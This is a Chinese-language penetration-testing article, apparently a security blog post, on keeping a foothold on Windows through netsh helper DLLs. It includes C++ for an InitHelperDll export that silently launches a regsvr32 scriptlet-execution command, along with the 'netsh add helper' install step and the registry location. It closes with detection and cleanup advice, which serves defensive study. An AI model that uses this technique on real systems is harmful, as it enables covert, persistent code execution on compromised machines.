Netsh persistence
About
- Common commands of netsh
- Matthew Demaske's way of using netshell to execute evil dlls and persist on a host
- Write a dll with the InitHelperDll function
- How to use
- Detection
目录
- 介绍 netsh 的常用命令
- 测试 Matthew Demaske 分享的方法——using netshell to execute evil dlls and persist on a host
- 如何使用 c++编写导出函数为 InitHelperDll 的 helper dll
- 实际测试利用
- 防御和检测
Reference:http://www.adaptforward.com/2016/09/using-netshell-to-execute-evil-dlls-and-persist-on-a-host/
0x00 简介
在渗透测试中,使用系统中默认支持的命令常常可以绕过各种检测和拦截,比如我在《Use bitsadmin to maintain persistence and bypass Autoruns》中介绍过如何利用系统默认支持的 bitsadmin 来实现自启动,并绕过 Autoruns 的检测。
Matthew Demaske 在最近分享了一个他发现的方法,同样是利用系统中默认支持的命令——using netshell to execute evil dlls and persist on a host,本文将对其方法进行整理,并补全文中未具体介绍的 dll 编写方法
0x01 netsh 简介
是 windows 系统本身提供的功能强大的网络配置命令行工具,常用命令如下:
查看 ip 配置信息: netsh interface ip show config
查看网络配置文件: netsh -c interface dump
开/关网卡: netsh int set int name="ethernet" admin=enabled
netsh int set int name="ethernet" admin=disabled
查看所有 tcp 连接: netsh interface ip show tcpconnections
设置本机 ip、子网掩码、网关 ip: netsh interface ip set address "Local Area Connection" static 192.168.1.2 255.255.255.0 192.168.1.1
查看防火墙状态: netsh firewall show state
开/关防火墙:
netsh firewall set opmode enable
netsh firewall set opmode disable
输入 netsh /?可查看更详细的命令帮助,其中 add 命令值得注意,输入 netsh add /?获得更详细内容:
netsh add /?
The following commands are available:
Commands in this context:
add helper - Installs a helper DLL.
如果在此添加一个测试 dll,结果会怎样呢?
0x02 编写 helper DLL
每个 helper DLL 都需要包含导出函数 InitHelperDll
在添加 helper DLL 后,每次 netsh 在初始加载的时候会调用该 helper DLL 中的导出函数 InitHelperDll
InitHelperDll 示例如下:
DWORD
WINAPI
InitHelperDll(
DWORD dwNetshVersion,
PVOID pReserved
)
{
NS_HELPER_ATTRIBUTES attMyAttributes;
attMyAttributes.guidHelper = g_MyGuid;
attMyAttributes.dwVersion = 1;
attMyAttributes.pfnStart = NetshStartHelper;
RegisterHelper( NULL, &attMyAttributes );
return NO_ERROR;
}
关于 InitHelperDll 的细节可参照如下链接:https://msdn.microsoft.com/en-us/library/windows/desktop/ms708327(v=vs.85).aspx
在《Code Execution of Regsvr32.exe》曾具体介绍过如何为 dll 添加一个导出函数,所以在这里接着简单介绍一下:
新建 c++工程,创建一个 dll 项目 在主文件添加:
DWORD WINAPI InitHelperDll(DWORD dwNetshVersion,PVOID pReserved)
{
char *command="cmd.exe /c start regsvr32.exe /s /n /u /i:..//SCTPersistence/master/calc.sct scrobj.dll";
WinExec(command,SW_HIDE);
return 0;
}
添加导出函数声明:
- 文件类型:Text File
- 名称:同名文件.def
写入 EXPORTS InitHelperDll 编译即可
注:
Marc Smeets 分享了他的 POC 代码,定义导出函数使用的是另一种方式:
extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
payload 为创建新线程执行 shellcode
项目地址如下:https://github.com/outflankbv/NetshHelperBeacon
0x03 添加自定义 helper dll
注:需要管理员权限
通过 cmd 添加:netsh add helper c:\test\netshtest.dll
如图
如下图,注册表同步创建键值
位置: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh
名称: netshtest
类型: REG_SZ
数据: c:\test\netshtest.dll
注:通过注册表直接添加键值同 netsh add 添加 helper dll 的作用一样
0x04 触发后门
helper dll 添加成功后,每次调用 netsh,均会加载 c:\test\netshtest.dll
如图,运行 netsh 命令,加载 c:\test\netshtest.dll,弹出计算器
验证:使用 Process Explorer 查看 netsh 进程加载的 dll
如图
- 使用 Process Monitor 在进程属性 Event Properties 也可以查看
如图
0x05 Persistence
- netsh 作为系统常用命令,存在被用户正常使用的概率,所以只要启动 netsh 即可触发 payload
- 如果被添加为常用的开机启动项,也很有迷惑性,因为显示的仅仅是启动 netsh.exe
0x06 检测
监控注册表位置 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh
注:
- netsh show helper 命令并不能查到新添加的 helper dll
- 需要留意注册表内正常的 dll 是否被替换
0x07 清除
通过 cmd:netsh delete helper c:\test\netshtest.dll
通过注册表:在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh 删除对应键值
0x08 小结
- Netsh Persistence 实现的前提是已经获得了管理员权限
- 部分 vpn 软件在启动过程中会调用 netsh 命令,这样就解决了 Netsh Persistence 的自启动问题,该方法值得测试
- 如果在开机启动项中发现有 netsh,值得留意,需要查看对应注册表键值中是否包含恶意的 helper dll
- 不同系统中注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh 下的默认键值存在差异,需要对比查找默认键值是否被篡改。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

下一篇: Covenant 利用分析
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论